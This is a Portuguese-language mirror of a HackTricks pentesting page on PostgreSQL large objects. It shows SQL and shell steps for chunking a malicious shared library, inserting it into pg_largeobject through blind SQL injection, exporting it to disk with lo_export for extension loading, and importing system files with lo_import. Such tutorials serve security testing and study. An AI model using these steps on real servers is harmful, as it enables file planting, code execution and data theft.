mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-29 22:43:11 +00:00
83 lines
5.4 KiB
Markdown
83 lines
5.4 KiB
Markdown
# Objetos Grandes do PostgreSQL
|
|
|
|
O PostgreSQL expõe uma estrutura chamada de **objeto grande** (**tabela pg_largeobject**), que é usada para armazenar dados que seriam difíceis de manipular em sua totalidade (como uma imagem ou um documento PDF). Ao contrário da função `COPY TO`, a vantagem dos **objetos grandes** reside no fato de que os **dados** que eles **armazenam** podem ser **exportados de volta** para o **sistema de arquivos** como uma **cópia idêntica do arquivo original importado**.
|
|
|
|
Para **salvar um arquivo completo dentro desta tabela**, você primeiro precisa **criar um objeto** dentro da tabela mencionada (identificado por um **LOID**) e, em seguida, **inserir pedaços de 2KB** dentro deste objeto. É muito importante que todos os **pedaços tenham 2KB** (exceto possivelmente o último) **ou** a função de **exportação** para o sistema de arquivos **não funcionará**.
|
|
|
|
Para **dividir** seu **binário** em **pedaços** de tamanho **2KB**, você pode fazer:
|
|
```bash
|
|
split -b 2048 pg_exec.so #This will create files of size 2KB
|
|
```
|
|
Para codificar cada um dos arquivos criados em Base64 ou Hex, você pode usar:
|
|
```bash
|
|
base64 -w 0 <Chunk_file> #Encoded in 1 line
|
|
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
|
|
```
|
|
{% hint style="info" %}
|
|
Ao explorar isso, lembre-se de que você precisa enviar **pedaços de 2KB de bytes de texto claro** (não 2KB de bytes codificados em base64 ou hex). Se você tentar automatizar isso, o tamanho de um arquivo **codificado em hex** é o **dobro** (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em **base64** é `ceil(n / 3) * 4`.
|
|
{% endhint %}
|
|
|
|
Além disso, depurando o processo, você pode ver o conteúdo dos grandes objetos criados com:
|
|
```sql
|
|
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
|
```
|
|
# Usando lo\_creat & Base64
|
|
|
|
Primeiro, precisamos criar um LOID onde os dados binários serão salvos:
|
|
```sql
|
|
SELECT lo_creat(-1); -- returns OID of new, empty large object
|
|
SELECT lo_create(173454); -- attempts to create large object with OID 43213
|
|
```
|
|
Se você estiver explorando uma **Injeção de SQL cega**, você estará mais interessado em usar `lo_create` com um **LOID fixo** para que você **saiba onde** deve **fazer o upload** do **conteúdo**.\
|
|
Além disso, observe que não há erro de sintaxe, as funções são `lo_creat` e `lo_create`.
|
|
|
|
LOID é usado para identificar o objeto na tabela `pg_largeobject`. A inserção de pedaços de tamanho 2KB na tabela `pg_largeobject` pode ser realizada usando:
|
|
```sql
|
|
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
|
|
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
|
|
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
|
|
```
|
|
Finalmente, você pode exportar o arquivo para o sistema de arquivos fazendo (durante este exemplo, o LOID usado foi `173454`):
|
|
```sql
|
|
SELECT lo_export(173454, '/tmp/pg_exec.so');
|
|
```
|
|
{% hint style="info" %}
|
|
Observe que nas versões mais recentes do postgres você pode precisar **fazer upload das extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
|
|
{% endhint %}
|
|
|
|
Você possivelmente pode estar interessado em excluir o objeto grande criado após exportá-lo:
|
|
```sql
|
|
SELECT lo_unlink(173454); -- deletes large object with OID 173454
|
|
```
|
|
# Usando lo\_import & Hex
|
|
|
|
Neste cenário, lo\_import será usado para criar um objeto de grande tamanho. Felizmente, neste caso, você pode (e não pode) especificar o LOID que deseja usar:
|
|
```sql
|
|
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
|
|
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
|
|
```
|
|
Depois de criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você tem que inserir pedaços de 2KB):
|
|
```sql
|
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
|
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
|
|
```
|
|
O HEX deve ser apenas o hex (sem `0x` ou `\x`), exemplo:
|
|
```sql
|
|
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
|
|
```
|
|
Finalmente, exporte os dados para um arquivo e exclua o objeto grande:
|
|
```sql
|
|
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
|
|
select lo_unlink(173454); -- deletes large object with OID 173454
|
|
```
|
|
{% hint style="info" %}
|
|
Observe que nas versões mais recentes do postgres você pode precisar **carregar as extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
|
|
{% endhint %}
|
|
|
|
# Limitações
|
|
|
|
Depois de ler a documentação de objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). É possível configurar **novos objetos grandes** para que seu usuário **não tenha privilégios suficientes** para lê-los, mesmo que tenham sido criados pelo seu usuário.
|
|
|
|
No entanto, pode haver **um objeto antigo com uma ACL que permite que o usuário atual o leia**, então podemos exfiltrar o conteúdo desse objeto.
|